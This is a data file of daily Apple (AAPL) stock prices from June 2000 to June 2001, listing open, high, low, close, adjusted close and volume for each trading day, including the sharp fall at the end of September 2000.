-2000-06-15,3.2589285373687744,3.3348214626312256,3.1785714626312256,3.299107074737549,2.8637595176696777,62143200.0,AAPL
-2000-06-16,3.3392856121063232,3.3482143878936768,3.1808035373687744,3.2566964626312256,2.8269455432891846,75891200.0,AAPL
-2000-06-19,3.234375,3.4955356121063232,3.2075893878936768,3.450892925262451,2.995516300201416,98501200.0,AAPL
-2000-06-20,3.517857074737549,3.7120535373687744,3.513392925262451,3.6160714626312256,3.1388978958129883,125347600.0,AAPL
-2000-06-21,3.607142925262451,4.066964149475098,3.59375,3.9732143878936768,3.4489123821258545,122500000.0,AAPL
-2000-06-22,3.982142925262451,4.1160712242126465,3.825892925262451,3.8392856121063232,3.3326563835144043,116928000.0,AAPL
-2000-06-23,3.841517925262451,3.9017856121063232,3.6294643878936768,3.6919643878936768,3.204775810241699,51241400.0,AAPL
-2000-06-26,3.75,3.9107143878936768,3.7232143878936768,3.8660714626312256,3.355908155441284,46338600.0,AAPL
-2000-06-27,3.841517925262451,3.9642856121063232,3.6875,3.6964285373687744,3.208651304244995,50867600.0,AAPL
-2000-06-28,3.8080356121063232,3.955357074737549,3.6785714626312256,3.888392925262451,3.3752834796905518,71607200.0,AAPL
-2000-06-29,3.7901785373687744,3.8526785373687744,3.6473214626312256,3.6607143878936768,3.177650213241577,50915200.0,AAPL
-2000-06-30,3.7723214626312256,3.924107074737549,3.6919643878936768,3.7410714626312256,3.2474026679992676,80774400.0,AAPL
-2000-07-03,3.7232143878936768,3.8794643878936768,3.7232143878936768,3.8080356121063232,3.305530548095703,17707200.0,AAPL
-2000-07-05,3.8035714626312256,3.9419643878936768,3.625,3.6875,3.2009005546569824,66304000.0,AAPL
-2000-07-06,3.75,3.78125,3.544642925262451,3.700892925262451,3.2125260829925537,77386400.0,AAPL
-2000-07-07,3.7566964626312256,3.9151785373687744,3.7232143878936768,3.888392925262451,3.3752834796905518,65900800.0,AAPL
-2000-07-10,3.8638393878936768,4.160714149475098,3.8392856121063232,4.080357074737549,3.541916847229004,99449000.0,AAPL
-2000-07-11,4.0714287757873535,4.232142925262451,3.9598214626312256,4.066964149475098,3.5302908420562744,89474000.0,AAPL
-2000-07-12,4.151785850524902,4.2098212242126465,4.026785850524902,4.205357074737549,3.650421380996704,56358400.0,AAPL
-2000-07-13,4.1785712242126465,4.330357074737549,3.9107143878936768,4.035714149475098,3.503164052963257,111414800.0,AAPL
-2000-07-14,4.080357074737549,4.214285850524902,4.0625,4.120535850524902,3.5767931938171387,47569200.0,AAPL
-2000-07-17,4.160714149475098,4.200892925262451,4.080357074737549,4.1651787757873535,3.6155455112457275,65000600.0,AAPL
-2000-07-18,4.1785712242126465,4.205357074737549,4.0625,4.089285850524902,3.549666404724121,79601200.0,AAPL
-2000-07-19,3.9419643878936768,4.058035850524902,3.6964285373687744,3.763392925262451,3.2667784690856934,114468200.0,AAPL
-2000-07-20,3.9285714626312256,4.075892925262451,3.8660714626312256,3.9375,3.417910575866699,116393200.0,AAPL
-2000-07-21,3.8828125,3.9732143878936768,3.78125,3.825892925262451,3.321031093597412,49058800.0,AAPL
-2000-07-24,3.7544643878936768,3.7767856121063232,3.392857074737549,3.4776785373687744,3.0187671184539795,103042800.0,AAPL
-2000-07-25,3.59375,3.6160714626312256,3.5044643878936768,3.575892925262451,3.104020833969116,52901800.0,AAPL
-2000-07-26,3.560267925262451,3.6607143878936768,3.517857074737549,3.575892925262451,3.104020833969116,52617600.0,AAPL
-2000-07-27,3.5714285373687744,3.8035714626312256,3.5625,3.7142856121063232,3.224151849746704,73746400.0,AAPL
-2000-07-28,3.734375,3.75,3.3482143878936768,3.450892925262451,2.995516300201416,59473400.0,AAPL
-2000-07-31,3.5111606121063232,3.6875,3.482142925262451,3.6294643878936768,3.1505227088928223,38824800.0,AAPL
-2000-08-01,3.59375,3.654017925262451,3.517857074737549,3.5223214626312256,3.05751895904541,34321000.0,AAPL
-2000-08-02,3.5,3.5669643878936768,3.3705356121063232,3.375,2.929637908935547,40588800.0,AAPL
-2000-08-03,3.2544643878936768,3.4330356121063232,3.1607143878936768,3.4285714626312256,2.976140022277832,84974400.0,AAPL
-2000-08-04,3.533482074737549,3.6607143878936768,3.3080356121063232,3.3839285373687744,2.9373884201049805,65780400.0,AAPL
-2000-08-07,3.419642925262451,3.5044643878936768,3.3705356121063232,3.424107074737549,2.972264528274536,46837000.0,AAPL
-2000-08-08,3.424107074737549,3.4285714626312256,3.3080356121063232,3.3392856121063232,2.8986361026763916,44168600.0,AAPL
-2000-08-09,3.4375,3.4598214626312256,3.375,3.392857074737549,2.945138931274414,94910200.0,AAPL
-2000-08-10,3.4285714626312256,3.4598214626312256,3.3839285373687744,3.3973214626312256,2.9490137100219727,62928600.0,AAPL
-2000-08-11,3.345982074737549,3.4285714626312256,3.2544643878936768,3.40625,2.956763744354248,59514000.0,AAPL
-2000-08-14,3.3995535373687744,3.40625,3.3080356121063232,3.361607074737549,2.9180123805999756,39165000.0,AAPL
-2000-08-15,3.375,3.424107074737549,3.3214285373687744,3.3348214626312256,2.894760847091675,28550200.0,AAPL
-2000-08-16,3.3482143878936768,3.5,3.34375,3.4642856121063232,3.007141351699829,35918400.0,AAPL
-2000-08-17,3.455357074737549,3.7455356121063232,3.450892925262451,3.674107074737549,3.189275026321411,67725000.0,AAPL
-2000-08-18,3.669642925262451,3.700892925262451,3.5625,3.5714285373687744,3.100145101547241,47544000.0,AAPL
-2000-08-21,3.5892856121063232,3.6830356121063232,3.544642925262451,3.607142925262451,3.1311471462249756,33616800.0,AAPL
-2000-08-22,3.6160714626312256,3.7723214626312256,3.5982143878936768,3.6919643878936768,3.204775810241699,69200600.0,AAPL
-2000-08-23,3.6763393878936768,3.9107143878936768,3.6473214626312256,3.8794643878936768,3.3675334453582764,59215800.0,AAPL
-2000-08-24,3.9051339626312256,4.044642925262451,3.8125,4.0078125,3.47894549369812,77691600.0,AAPL
-2000-08-25,4.035714149475098,4.107142925262451,4.026785850524902,4.058035850524902,3.522540330886841,83615000.0,AAPL
-2000-08-28,4.089285850524902,4.214285850524902,4.075892925262451,4.1473212242126465,3.6000444889068604,89751200.0,AAPL
-2000-08-29,4.1339287757873535,4.245535850524902,4.120535850524902,4.2276787757873535,3.669797658920288,66757600.0,AAPL
-2000-08-30,4.214285850524902,4.285714149475098,4.193080425262451,4.25,3.689173936843872,71348200.0,AAPL
-2000-08-31,4.2120537757873535,4.392857074737549,4.2098212242126465,4.3526787757873535,3.7783031463623047,104899200.0,AAPL
-2000-09-01,4.379464149475098,4.544642925262451,4.3660712242126465,4.53125,3.93330979347229,64218000.0,AAPL
-2000-09-05,4.4754462242126465,4.580357074737549,4.4464287757873535,4.4598212242126465,3.871306896209717,74660600.0,AAPL
-2000-09-06,4.3839287757873535,4.455357074737549,4.125,4.174107074737549,3.623295545578003,88851000.0,AAPL
-2000-09-07,4.223214149475098,4.46875,4.160714149475098,4.4285712242126465,3.844180107116699,54366200.0,AAPL
-2000-09-08,4.401785850524902,4.401785850524902,4.1785712242126465,4.205357074737549,3.650421380996704,48879600.0,AAPL
-2000-09-11,4.191964149475098,4.3125,4.151785850524902,4.174107074737549,3.623295545578003,46845400.0,AAPL
-2000-09-12,4.095982074737549,4.2901787757873535,4.0714287757873535,4.125,3.5806682109832764,46999400.0,AAPL
-2000-09-13,4.0535712242126465,4.25,4.0535712242126465,4.142857074737549,3.5961685180664062,76496000.0,AAPL
-2000-09-14,4.183035850524902,4.2589287757873535,4.058035850524902,4.0613837242126465,3.525446891784668,106638000.0,AAPL
-2000-09-15,4.125,4.15625,3.875,3.9453125,3.424692392349243,98628600.0,AAPL
-2000-09-18,3.9464285373687744,4.339285850524902,3.9330356121063232,4.332589149475098,3.7608649730682373,106134000.0,AAPL
-2000-09-19,4.267857074737549,4.3214287757873535,4.183035850524902,4.28125,3.7162997722625732,67877600.0,AAPL
-2000-09-20,4.2433037757873535,4.388392925262451,4.183035850524902,4.3604912757873535,3.7850847244262695,56847000.0,AAPL
-2000-09-21,4.1785712242126465,4.2589287757873535,3.9464285373687744,4.049107074737549,3.5147905349731445,127622600.0,AAPL
-2000-09-22,3.59375,3.7455356121063232,3.5714285373687744,3.7276785373687744,3.2357773780822754,181675200.0,AAPL
-2000-09-25,3.767857074737549,3.9642856121063232,3.71875,3.8214285373687744,3.3171558380126953,108887800.0,AAPL
-2000-09-26,3.8080356121063232,3.9107143878936768,3.669642925262451,3.674107074737549,3.189275026321411,72734200.0,AAPL
-2000-09-27,3.6964285373687744,3.767857074737549,3.4464285373687744,3.4955356121063232,3.0342674255371094,100564800.0,AAPL
-2000-09-28,3.5223214626312256,3.84375,3.4375,3.8214285373687744,3.3171558380126953,244896400.0,AAPL
-2000-09-29,2.013392925262451,2.0714285373687744,1.8125,1.8392857313156128,1.5965752601623535,1855410200.0,AAPL
-2000-10-02,1.90625,1.9107142686843872,1.6785714626312256,1.7321428060531616,1.5035706758499146,606197200.0,AAPL
-2000-10-03,1.78125,1.7857142686843872,1.5848214626312256,1.59375,1.3834398984909058,509530000.0,AAPL
-2000-10-04,1.5982142686843872,1.6964285373687744,1.5625,1.6875,1.4648189544677734,366506000.0,AAPL
-2000-10-05,1.6785714626312256,1.75,1.5714285373687744,1.5758928060531616,1.367939829826355,218251600.0,AAPL
-2000-10-06,1.6205357313156128,1.6383928060531616,1.5,1.5848214626312256,1.3756897449493408,153164200.0,AAPL
-2000-10-09,1.6160714626312256,1.6339285373687744,1.5089285373687744,1.5535714626312256,1.34856379032135,149391200.0,AAPL
-2000-10-10,1.5446428060531616,1.6026785373687744,1.4642857313156128,1.4910714626312256,1.2943108081817627,172775400.0,AAPL
-2000-10-11,1.4375,1.5,1.3660714626312256,1.4017857313156128,1.2168073654174805,299605600.0,AAPL
-2000-10-12,1.4508928060531616,1.4866071939468384,1.3928571939468384,1.4285714626312256,1.2400585412979126,297766000.0,AAPL
-2000-10-13,1.4464285373687744,1.5803571939468384,1.4285714626312256,1.5758928060531616,1.367939829826355,311938200.0,AAPL
-2000-10-16,1.59375,1.6607142686843872,1.5267857313156128,1.5357142686843872,1.333062767982483,205044000.0,AAPL
-2000-10-17,1.5491071939468384,1.5669642686843872,1.40625,1.4375,1.247808575630188,150430000.0,AAPL
-2000-10-18,1.3883928060531616,1.5044642686843872,1.3392857313156128,1.4375,1.247808575630188,208566400.0,AAPL
-2000-10-19,1.3683035373687744,1.4151785373687744,1.3080357313156128,1.3526785373687744,1.1741801500320435,376681200.0,AAPL
-2000-10-20,1.3616071939468384,1.4553571939468384,1.3526785373687744,1.3928571939468384,1.2090569734573364,197815800.0,AAPL
-2000-10-23,1.4475446939468384,1.46875,1.3883928060531616,1.4553571939468384,1.2633094787597656,137823000.0,AAPL
-2000-10-24,1.4776785373687744,1.4910714626312256,1.34375,1.3482142686843872,1.1703050136566162,201112800.0,AAPL
-2000-10-25,1.3616071939468384,1.3705357313156128,1.3169642686843872,1.3214285373687744,1.1470541954040527,165992400.0,AAPL
-2000-10-26,1.34375,1.3482142686843872,1.25,1.3214285373687744,1.1470541954040527,180462800.0,AAPL
-2000-10-27,1.3482142686843872,1.3705357313156128,1.2767857313156128,1.3258928060531616,1.1509292125701904,186125800.0,AAPL
-2000-10-30,1.3660714626312256,1.4241071939468384,1.3392857313156128,1.3794642686843872,1.1974313259124756,159797400.0,AAPL
-2000-10-31,1.4107142686843872,1.4464285373687744,1.375,1.3973214626312256,1.212931752204895,221470200.0,AAPL
-2000-11-01,1.3883928060531616,1.4910714626312256,1.3883928060531616,1.4642857313156128,1.2710593938827515,143841600.0,AAPL
-2000-11-02,1.5089285373687744,1.6026785373687744,1.5044642686843872,1.59375,1.3834398984909058,147673400.0,AAPL
-2000-11-03,1.6428571939468384,1.6428571939468384,1.5669642686843872,1.5892857313156128,1.379564881324768,128955400.0,AAPL
-2000-11-06,1.6026785373687744,1.6160714626312256,1.4910714626312256,1.53125,1.3291873931884766,98369600.0,AAPL
-2000-11-07,1.5357142686843872,1.5580357313156128,1.4866071939468384,1.5223214626312256,1.3214372396469116,75490800.0,AAPL
-2000-11-08,1.5267857313156128,1.53125,1.4151785373687744,1.4330357313156128,1.2439335584640503,105522200.0,AAPL
-2000-11-09,1.4196428060531616,1.4642857313156128,1.3616071939468384,1.4419642686843872,1.2516839504241943,119208600.0,AAPL
-2000-11-10,1.3828125,1.4196428060531616,1.3616071939468384,1.3616071939468384,1.1819305419921875,105562800.0,AAPL
-2000-11-13,1.3392857313156128,1.4285714626312256,1.3035714626312256,1.3839285373687744,1.2013064622879028,107954000.0,AAPL
-2000-11-14,1.4241071939468384,1.4642857313156128,1.3973214626312256,1.4464285373687744,1.2555590867996216,102250400.0,AAPL
-2000-11-15,1.4308035373687744,1.4419642686843872,1.375,1.4196428060531616,1.232308030128479,70589400.0,AAPL
-2000-11-16,1.3928571939468384,1.4151785373687744,1.3482142686843872,1.3571428060531616,1.1780554056167603,59843000.0,AAPL
-2000-11-17,1.3705357313156128,1.375,1.3035714626312256,1.3214285373687744,1.1470541954040527,111545000.0,AAPL
-2000-11-20,1.328125,1.3928571939468384,1.3035714626312256,1.3526785373687744,1.1741801500320435,102016600.0,AAPL
-2000-11-21,1.3705357313156128,1.3928571939468384,1.3392857313156128,1.34375,1.1664296388626099,75488000.0,AAPL
-2000-11-22,1.34375,1.3660714626312256,1.3125,1.3214285373687744,1.1470541954040527,70133000.0,AAPL
-2000-11-24,1.3470982313156128,1.3928571939468384,1.34375,1.3794642686843872,1.1974313259124756,40233200.0,AAPL
-2000-11-27,1.4196428060531616,1.4241071939468384,1.3214285373687744,1.3348214626312256,1.1586793661117554,64698200.0,AAPL
-2000-11-28,1.3348214626312256,1.3571428060531616,1.28125,1.2879464626312256,1.1179896593093872,67281200.0,AAPL
-2000-11-29,1.2924107313156128,1.3080357313156128,1.2321428060531616,1.2544642686843872,1.088926076889038,123037600.0,AAPL
-2000-11-30,1.1919642686843872,1.2142857313156128,1.1517857313156128,1.1785714626312256,1.0230480432510376,202399400.0,AAPL
-2000-12-01,1.2142857313156128,1.25,1.2008928060531616,1.21875,1.0579248666763306,96426400.0,AAPL
-2000-12-04,1.2276785373687744,1.2276785373687744,1.1741071939468384,1.1919642686843872,1.0346739292144775,92880200.0,AAPL
-2000-12-05,1.2098214626312256,1.2455357313156128,1.1696428060531616,1.2142857313156128,1.0540496110916138,153494600.0,AAPL
-2000-12-06,1.0446428060531616,1.0714285373687744,1.0,1.0223214626312256,0.8874166011810303,343616000.0,AAPL
-2000-12-07,1.03125,1.0625,1.0,1.0223214626312256,0.8874166011810303,102229400.0,AAPL
-2000-12-08,1.0580357313156128,1.09375,1.03125,1.0758928060531616,0.9339190125465393,108906000.0,AAPL
-2000-12-11,1.0848214626312256,1.0982142686843872,1.0625,1.0848214626312256,0.9416689872741699,83127800.0,AAPL
-2000-12-12,1.0892857313156128,1.1428571939468384,1.0714285373687744,1.0982142686843872,0.9532949328422546,96565000.0,AAPL
-2000-12-13,1.1116071939468384,1.1116071939468384,1.0625,1.0714285373687744,0.9300435781478882,86221800.0,AAPL
-2000-12-14,1.0736607313156128,1.0892857313156128,1.03125,1.03125,0.8951670527458191,65829400.0,AAPL
-2000-12-15,1.0401785373687744,1.0491071939468384,1.0,1.0044642686843872,0.8719159364700317,128486400.0,AAPL
-2000-12-18,1.0401785373687744,1.0446428060531616,0.9955357313156128,1.0178571939468384,0.8835418224334717,81452000.0,AAPL
-2000-12-19,1.0267857313156128,1.0892857313156128,1.0,1.0,0.8680407404899597,93501800.0,AAPL
-2000-12-20,0.984375,1.0446428060531616,0.9732142686843872,1.0267857313156128,0.8912918567657471,141332800.0,AAPL
-2000-12-21,1.0178571939468384,1.0714285373687744,0.9910714030265808,1.0044642686843872,0.8719159364700317,91711200.0,AAPL
-2000-12-22,1.0089285373687744,1.0714285373687744,1.0089285373687744,1.0714285373687744,0.9300435781478882,79513000.0,AAPL
-2000-12-26,1.0625,1.0714285373687744,1.0178571939468384,1.0491071939468384,0.9106678366661072,54203800.0,AAPL
-2000-12-27,1.0245535373687744,1.0580357313156128,1.0133928060531616,1.0580357313156128,0.9184181690216064,81366600.0,AAPL
-2000-12-28,1.0267857313156128,1.0669642686843872,1.0223214626312256,1.0580357313156128,0.9184181690216064,76294400.0,AAPL
-2000-12-29,1.0491071939468384,1.0714285373687744,1.0357142686843872,1.0625,0.922293484210968,157584000.0,AAPL
-2001-01-02,1.0625,1.0892857313156128,1.0401785373687744,1.0625,0.922293484210968,113078000.0,AAPL
-2001-01-03,1.0357142686843872,1.1919642686843872,1.03125,1.1696428060531616,1.015297770500183,204268400.0,AAPL
-2001-01-04,1.2957589626312256,1.3214285373687744,1.2008928060531616,1.21875,1.0579248666763306,184849000.0,AAPL
-2001-01-05,1.2098214626312256,1.2410714626312256,1.1473214626312256,1.1696428060531616,1.015297770500183,103089000.0,AAPL
-2001-01-08,1.2098214626312256,1.2131696939468384,1.1383928060531616,1.1830357313156128,1.026923418045044,93424800.0,AAPL
-2001-01-09,1.2008928060531616,1.2600446939468384,1.1830357313156128,1.2276785373687744,1.0656752586364746,147232400.0,AAPL
-2001-01-10,1.1919642686843872,1.2142857313156128,1.1473214626312256,1.1830357313156128,1.026923418045044,145195400.0,AAPL
-2001-01-11,1.1607142686843872,1.3214285373687744,1.1607142686843872,1.2857142686843872,1.1160523891448975,200933600.0,AAPL
-2001-01-12,1.2767857313156128,1.2857142686843872,1.21875,1.2276785373687744,1.0656752586364746,105844200.0,AAPL
-2001-01-16,1.2455357313156128,1.3035714626312256,1.2142857313156128,1.2232142686843872,1.0617998838424683,76529600.0,AAPL
-2001-01-17,1.2544642686843872,1.2544642686843872,1.1785714626312256,1.2008928060531616,1.042424201965332,210218400.0,AAPL
-2001-01-18,1.2723214626312256,1.3392857313156128,1.2589285373687744,1.3348214626312256,1.1586793661117554,306752600.0,AAPL
-2001-01-19,1.3883928060531616,1.3973214626312256,1.3348214626312256,1.3928571939468384,1.2090569734573364,194166000.0,AAPL
-2001-01-22,1.3616071939468384,1.4017857313156128,1.3169642686843872,1.375,1.1935560703277588,129831800.0,AAPL
-2001-01-23,1.3794642686843872,1.4955357313156128,1.3616071939468384,1.4642857313156128,1.2710593938827515,219882600.0,AAPL
-2001-01-24,1.4732142686843872,1.4776785373687744,1.3973214626312256,1.4642857313156128,1.2710593938827515,179272800.0,AAPL
-2001-01-25,1.46875,1.46875,1.4107142686843872,1.4241071939468384,1.236183524131775,122427200.0,AAPL
-2001-01-26,1.3928571939468384,1.4151785373687744,1.3616071939468384,1.3973214626312256,1.212931752204895,120705200.0,AAPL
-2001-01-29,1.3973214626312256,1.5535714626312256,1.3973214626312256,1.5491071939468384,1.3446884155273438,213882200.0,AAPL
-2001-01-30,1.5401785373687744,1.5714285373687744,1.4910714626312256,1.5535714626312256,1.34856379032135,173105800.0,AAPL
-2001-01-31,1.5357142686843872,1.6071428060531616,1.53125,1.5446428060531616,1.3408129215240479,182676200.0,AAPL
-2001-02-01,1.4776785373687744,1.5357142686843872,1.4642857313156128,1.5089285373687744,1.3098117113113403,92423800.0,AAPL
-2001-02-02,1.5089285373687744,1.5669642686843872,1.4642857313156128,1.4732142686843872,1.2788101434707642,106835400.0,AAPL
-2001-02-05,1.4642857313156128,1.46875,1.4107142686843872,1.4419642686843872,1.2516839504241943,71528800.0,AAPL
-2001-02-06,1.4397321939468384,1.5279017686843872,1.4285714626312256,1.5089285373687744,1.3098117113113403,115677800.0,AAPL
-2001-02-07,1.4754464626312256,1.4910714626312256,1.4151785373687744,1.4821428060531616,1.2865605354309082,98471800.0,AAPL
-2001-02-08,1.46875,1.5044642686843872,1.4419642686843872,1.4821428060531616,1.2865605354309082,151032000.0,AAPL
-2001-02-09,1.4642857313156128,1.4866071939468384,1.3348214626312256,1.3660714626312256,1.1858055591583252,147520800.0,AAPL
-2001-02-12,1.3616071939468384,1.4285714626312256,1.34375,1.40625,1.2206825017929077,68530000.0,AAPL
-2001-02-13,1.4241071939468384,1.4598214626312256,1.3571428060531616,1.3660714626312256,1.1858055591583252,59267600.0,AAPL
-2001-02-14,1.3705357313156128,1.4017857313156128,1.3214285373687744,1.3928571939468384,1.2090569734573364,77280000.0,AAPL
-2001-02-15,1.40625,1.46875,1.40625,1.4330357313156128,1.2439335584640503,77854000.0,AAPL
-2001-02-16,1.3571428060531616,1.3928571939468384,1.3392857313156128,1.3571428060531616,1.1780554056167603,65977800.0,AAPL
-2001-02-20,1.3705357313156128,1.3883928060531616,1.2991071939468384,1.3080357313156128,1.1354283094406128,78723400.0,AAPL
-2001-02-21,1.3035714626312256,1.4241071939468384,1.3035714626312256,1.3482142686843872,1.1703050136566162,97564600.0,AAPL
-2001-02-22,1.3616071939468384,1.3839285373687744,1.2857142686843872,1.34375,1.1664296388626099,107990400.0,AAPL
-2001-02-23,1.3303571939468384,1.3482142686843872,1.3035714626312256,1.34375,1.1664296388626099,73466400.0,AAPL
-2001-02-26,1.3616071939468384,1.40625,1.3258928060531616,1.3928571939468384,1.2090569734573364,51609600.0,AAPL
-2001-02-27,1.3772321939468384,1.3883928060531616,1.3348214626312256,1.3839285373687744,1.2013064622879028,87129000.0,AAPL
-2001-02-28,1.3839285373687744,1.3883928060531616,1.2946428060531616,1.3035714626312256,1.1315531730651855,127058400.0,AAPL
-2001-03-01,1.2723214626312256,1.3392857313156128,1.2276785373687744,1.3392857313156128,1.1625550985336304,82615400.0,AAPL
-2001-03-02,1.3080357313156128,1.4598214626312256,1.3035714626312256,1.375,1.1935560703277588,101550400.0,AAPL
-2001-03-05,1.3839285373687744,1.4642857313156128,1.375,1.4553571939468384,1.2633094787597656,81043200.0,AAPL
-2001-03-06,1.4799107313156128,1.5758928060531616,1.4776785373687744,1.5357142686843872,1.333062767982483,182950600.0,AAPL
-2001-03-07,1.5223214626312256,1.5446428060531616,1.4821428060531616,1.5178571939468384,1.3175619840621948,104885200.0,AAPL
-2001-03-08,1.4776785373687744,1.5089285373687744,1.4598214626312256,1.4866071939468384,1.290435791015625,51214800.0,AAPL
-2001-03-09,1.4732142686843872,1.4776785373687744,1.4285714626312256,1.4464285373687744,1.2555590867996216,74783800.0,AAPL
-2001-03-12,1.40625,1.4196428060531616,1.2946428060531616,1.3303571939468384,1.1548043489456177,97755000.0,AAPL
-2001-03-13,1.3482142686843872,1.3973214626312256,1.2991071939468384,1.3973214626312256,1.212931752204895,110832400.0,AAPL
-2001-03-14,1.3214285373687744,1.4642857313156128,1.3169642686843872,1.4598214626312256,1.2671843767166138,119443800.0,AAPL
-2001-03-15,1.4910714626312256,1.5267857313156128,1.40625,1.40625,1.2206825017929077,132329400.0,AAPL
-2001-03-16,1.3571428060531616,1.4508928060531616,1.3482142686843872,1.4017857313156128,1.2168073654174805,117579000.0,AAPL
-2001-03-19,1.4107142686843872,1.4732142686843872,1.3928571939468384,1.46875,1.274935007095337,89002200.0,AAPL
-2001-03-20,1.4799107313156128,1.4955357313156128,1.40625,1.40625,1.2206825017929077,124801600.0,AAPL
-2001-03-21,1.4129464626312256,1.4910714626312256,1.3839285373687744,1.4375,1.247808575630188,92843800.0,AAPL
-2001-03-22,1.4553571939468384,1.5535714626312256,1.4419642686843872,1.5446428060531616,1.3408129215240479,180825400.0,AAPL
-2001-03-23,1.5758928060531616,1.6830357313156128,1.5714285373687744,1.6428571939468384,1.4260669946670532,236222000.0,AAPL
-2001-03-26,1.652142882347107,1.6964285373687744,1.5092856884002686,1.5557142496109009,1.3504230976104736,183612800.0,AAPL
-2001-03-27,1.5671428442001343,1.6464285850524902,1.5642857551574707,1.6335713863372803,1.4180067777633667,135955400.0,AAPL
-2001-03-28,1.5771428346633911,1.6071428060531616,1.5357142686843872,1.583571434020996,1.3746044635772705,146165600.0,AAPL
-2001-03-29,1.5549999475479126,1.6749999523162842,1.5357142686843872,1.6092857122421265,1.396925687789917,153266400.0,AAPL
-2001-03-30,1.610714316368103,1.6228570938110352,1.5242856740951538,1.5764285326004028,1.3684043884277344,100087400.0,AAPL
-2001-04-02,1.5778571367263794,1.618571400642395,1.5285714864730835,1.5421428680419922,1.338642954826355,85227800.0,AAPL
-2001-04-03,1.5257142782211304,1.5285714864730835,1.4378571510314941,1.4457142353057861,1.2549391984939575,92171800.0,AAPL
-2001-04-04,1.4114285707473755,1.4464285373687744,1.3392857313156128,1.3928571939468384,1.2090569734573364,171371200.0,AAPL
-2001-04-05,1.4714285135269165,1.6071428060531616,1.4285714626312256,1.4907143115997314,1.2940007448196411,111690600.0,AAPL
-2001-04-06,1.485714316368103,1.5028570890426636,1.4214285612106323,1.4707143306732178,1.2766401767730713,81222400.0,AAPL
-2001-04-09,1.4778571128845215,1.5242856740951538,1.4328571557998657,1.4671428203582764,1.273539662361145,66645600.0,AAPL
-2001-04-10,1.4928570985794067,1.6214286088943481,1.4842857122421265,1.5742857456207275,1.3665441274642944,114343600.0,AAPL
-2001-04-11,1.6414285898208618,1.6428571939468384,1.5199999809265137,1.5571428537368774,1.35166335105896,83524000.0,AAPL
-2001-04-12,1.5299999713897705,1.6442856788635254,1.5107142925262451,1.6014286279678345,1.3901052474975586,74733400.0,AAPL
-2001-04-16,1.5778571367263794,1.600000023841858,1.4900000095367432,1.531428575515747,1.3293423652648926,71306200.0,AAPL
-2001-04-17,1.514285683631897,1.5149999856948853,1.399999976158142,1.4571428298950195,1.2648593187332153,171299800.0,AAPL
-2001-04-18,1.5407142639160156,1.7200000286102295,1.5057142972946167,1.6278570890426636,1.4130462408065796,275210600.0,AAPL
-2001-04-19,1.8250000476837158,1.8392857313156128,1.6857142448425293,1.837142825126648,1.5947151184082031,468417600.0,AAPL
-2001-04-20,1.7807142734527588,1.8307143449783325,1.7571429014205933,1.7885714769363403,1.5525529384613037,173350800.0,AAPL
-2001-04-23,1.7385714054107666,1.7857142686843872,1.7142857313156128,1.7321428060531616,1.5035706758499146,135381400.0,AAPL
-2001-04-24,1.7378571033477783,1.7678571939468384,1.6792857646942139,1.716428518295288,1.4899299144744873,94284400.0,AAPL
-2001-04-25,1.729285717010498,1.7757142782211304,1.683571457862854,1.7657142877578735,1.5327121019363403,82695200.0,AAPL
-2001-04-26,1.7978571653366089,1.8642857074737549,1.76285719871521,1.7635713815689087,1.5308518409729004,199924200.0,AAPL
-2001-04-27,1.7999999523162842,1.8778570890426636,1.7678571939468384,1.8714286088943481,1.624476432800293,113253000.0,AAPL
-2001-04-30,1.9071428775787354,1.9371428489685059,1.7764285802841187,1.8207142353057861,1.5804541110992432,123694200.0,AAPL
-2001-05-01,1.815000057220459,1.8928571939468384,1.7999999523162842,1.8521428108215332,1.6077356338500977,106813000.0,AAPL
-2001-05-02,1.881428599357605,1.9071428775787354,1.840000033378601,1.8992856740951538,1.6486576795578003,92131200.0,AAPL
-2001-05-03,1.8550000190734863,1.875,1.7664285898208618,1.7828571796417236,1.5475927591323853,75385800.0,AAPL
-2001-05-04,1.731428623199463,1.8464285135269165,1.7114285230636597,1.8392857313156128,1.5965752601623535,70263200.0,AAPL
-2001-05-07,1.8300000429153442,1.840000033378601,1.7742856740951538,1.7828571796417236,1.5475927591323853,69137600.0,AAPL
-2001-05-08,1.8107142448425293,1.8178571462631226,1.710714340209961,1.7549999952316284,1.5234116315841675,78859200.0,AAPL
-2001-05-09,1.7242857217788696,1.7535713911056519,1.6907142400741577,1.7128571271896362,1.4868297576904297,81222400.0,AAPL
-2001-05-10,1.729285717010498,1.75,1.639285683631897,1.6428571939468384,1.4260669946670532,72244200.0,AAPL
-2001-05-11,1.643571376800537,1.6778571605682373,1.6257143020629883,1.6321429014205933,1.4167670011520386,50761200.0,AAPL
-2001-05-14,1.6349999904632568,1.691428542137146,1.625,1.6635714769363403,1.4440479278564453,77305200.0,AAPL
-2001-05-15,1.6692856550216675,1.8214285373687744,1.645714282989502,1.6557142734527588,1.4372276067733765,59256400.0,AAPL
-2001-05-16,1.6614285707473755,1.75,1.6321429014205933,1.7214285135269165,1.4942702054977417,80582600.0,AAPL
-2001-05-17,1.7307143211364746,1.7378571033477783,1.6607142686843872,1.6821428537368774,1.460168719291687,83029800.0,AAPL
-2001-05-18,1.6685714721679688,1.6885714530944824,1.6514285802841187,1.6807142496109009,1.4589287042617798,39762800.0,AAPL
-2001-05-21,1.6878571510314941,1.7078571319580078,1.6464285850524902,1.6828571557998657,1.460788607597351,115249400.0,AAPL
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-2001-05-23,1.6964285373687744,1.6964285373687744,1.632857084274292,1.6592856645584106,1.4403276443481445,70260400.0,AAPL
-2001-05-24,1.6635714769363403,1.664285659790039,1.6157143115997314,1.6571428775787354,1.4384676218032837,67939200.0,AAPL
-2001-05-25,1.6571428775787354,1.6635714769363403,1.6071428060531616,1.6257143020629883,1.4111862182617188,39685800.0,AAPL
-2001-05-29,1.5942857265472412,1.6071428060531616,1.4864286184310913,1.533571481704712,1.331202745437622,128997400.0,AAPL
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-2001-05-31,1.414285659790039,1.4457142353057861,1.39214289188385,1.4249999523162842,1.2369581460952759,110723200.0,AAPL
-2001-06-01,1.4378571510314941,1.506428599357605,1.427142858505249,1.492142915725708,1.2952407598495483,114018800.0,AAPL
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-2001-06-05,1.485714316368103,1.5071429014205933,1.4535714387893677,1.4957143068313599,1.2983413934707642,117948600.0,AAPL
-2001-06-06,1.4950000047683716,1.4950000047683716,1.4521428346633911,1.4807143211364746,1.2853206396102905,55794200.0,AAPL
-2001-06-07,1.479285717010498,1.5499999523162842,1.460714340209961,1.5471428632736206,1.3429828882217407,81295200.0,AAPL
-2001-06-08,1.5464285612106323,1.5464285612106323,1.479285717010498,1.5228571891784668,1.3219020366668701,85656200.0,AAPL
-2001-06-11,1.5035713911056519,1.5049999952316284,1.4249999523162842,1.4314285516738892,1.242538332939148,73500000.0,AAPL
